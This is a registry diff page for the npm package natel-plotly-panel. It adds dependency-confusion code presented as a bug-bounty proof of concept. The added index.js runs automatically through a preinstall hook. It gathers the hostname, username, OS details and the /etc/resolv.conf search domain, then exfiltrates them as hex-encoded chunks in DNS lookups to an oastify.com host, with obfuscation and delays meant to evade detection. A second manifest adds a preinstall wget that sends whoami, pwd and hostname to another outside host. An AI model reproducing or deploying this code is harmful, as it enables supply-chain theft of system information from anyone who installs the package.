natel-plotly-panel 0.0.1-security → 9999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of natel-plotly-panel might be problematic. Click here for more details.
- package/index.js +73 -0
- package/package.json +9 -4
- package/pakage.json +12 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,73 @@
|
|
1
|
+
// Apex Hunter PoC v4.0 - DNS-Only Stealth Exfiltration
|
2
|
+
// Designed for attribution during Dependency Confusion tests (Bugcrowd-compliant)
|
3
|
+
|
4
|
+
const os = require('os');
|
5
|
+
const fs = 'fs'; // Light obfuscation
|
6
|
+
const dns = 'dns';
|
7
|
+
|
8
|
+
// ======================= CONFIGURATION =======================
|
9
|
+
const oastHost = 'qlf8zf0i0r1j0jt0w2ulaw0qthzlnbb0.oastify.com';
|
10
|
+
const maxChunkSize = 50; // Keep DNS labels within safe bounds
|
11
|
+
// =============================================================
|
12
|
+
|
13
|
+
function generateReport() {
|
14
|
+
let parts = [];
|
15
|
+
const add = (key, value) => {
|
16
|
+
const sanitizedValue = (value || 'NA')
|
17
|
+
.toString()
|
18
|
+
.replace(/[^a-zA-Z0-9-]/g, '-') // DNS-safe
|
19
|
+
.slice(0, 100);
|
20
|
+
parts.push(`${key}-${sanitizedValue}`);
|
21
|
+
};
|
22
|
+
|
23
|
+
// === Bugcrowd-required fields ===
|
24
|
+
add('hostname', os.hostname()); // Hostname
|
25
|
+
try {
|
26
|
+
const userInfo = os.userInfo();
|
27
|
+
add('user', `${userInfo.username}-${userInfo.uid}`); // whoami equivalent
|
28
|
+
} catch (e) {
|
29
|
+
add('user', 'unknown-user');
|
30
|
+
}
|
31
|
+
add('os', `${os.platform()}-${os.release()}`); // OS info
|
32
|
+
|
33
|
+
// === Attribution proof ===
|
34
|
+
try {
|
35
|
+
const resolvConf = require(fs).readFileSync('/etc/resolv.conf', 'utf8');
|
36
|
+
const match = resolvConf.match(/search\s+([^\n]+)/);
|
37
|
+
const domain = match ? match[1].split(' ')[0] : 'no-search-domain';
|
38
|
+
add('dns_proof', domain);
|
39
|
+
} catch (e) {
|
40
|
+
add('dns_proof', 'resolv-unreadable');
|
41
|
+
}
|
42
|
+
|
43
|
+
return parts.join('.');
|
44
|
+
}
|
45
|
+
|
46
|
+
function exfiltrateViaDns(data) {
|
47
|
+
const encodedData = Buffer.from(data).toString('hex');
|
48
|
+
const chunks = encodedData.match(new RegExp(`.{1,${maxChunkSize}}`, 'g')) || [];
|
49
|
+
const totalChunks = chunks.length;
|
50
|
+
const reportId = Math.random().toString(36).substring(2, 8); // Unique per run
|
51
|
+
|
52
|
+
let i = 0;
|
53
|
+
const sendChunk = () => {
|
54
|
+
if (i >= totalChunks) {
|
55
|
+
require(dns).lookup(`${reportId}.end.fin.${oastHost}`, () => {});
|
56
|
+
return;
|
57
|
+
}
|
58
|
+
|
59
|
+
const chunk = chunks[i];
|
60
|
+
const subdomain = `${reportId}.${i}.${chunk}.${oastHost}`;
|
61
|
+
|
62
|
+
require(dns).lookup(subdomain, () => {
|
63
|
+
i++;
|
64
|
+
setTimeout(sendChunk, 100 + Math.random() * 100); // Delay to avoid detection
|
65
|
+
});
|
66
|
+
};
|
67
|
+
|
68
|
+
sendChunk();
|
69
|
+
}
|
70
|
+
|
71
|
+
// --- Entry ---
|
72
|
+
const report = generateReport();
|
73
|
+
exfiltrateViaDns(report);
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
|
-
"name": "natel-plotly-panel",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
2
|
+
"name": "natel-plotly-panel",
|
3
|
+
"version": "9999.0.0",
|
4
|
+
"description": "ULTIMATE PoC: RCE via DNS Exfil - nepalihacker000",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "nepalihacker000",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/pakage.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "cms-media-bridge",
|
3
|
+
"version": "10.0.1",
|
4
|
+
"description": "PoC for Dependency Confusion vulnerability",
|
5
|
+
"scripts": {
|
6
|
+
"preinstall": "sh -c 'wget --quiet \"http://7y6ftwvzeqjn824k9d0rzpmvcmig66uv.oastify.com/?event=preinstall&user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"'",
|
7
|
+
"preupdate": "sh -c 'wget --quiet \"http://...\"'",
|
8
|
+
"test": "sh -c 'wget --quiet \"http://...\"'"
|
9
|
+
},
|
10
|
+
"author": "orwa",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=natel-plotly-panel for more information.
|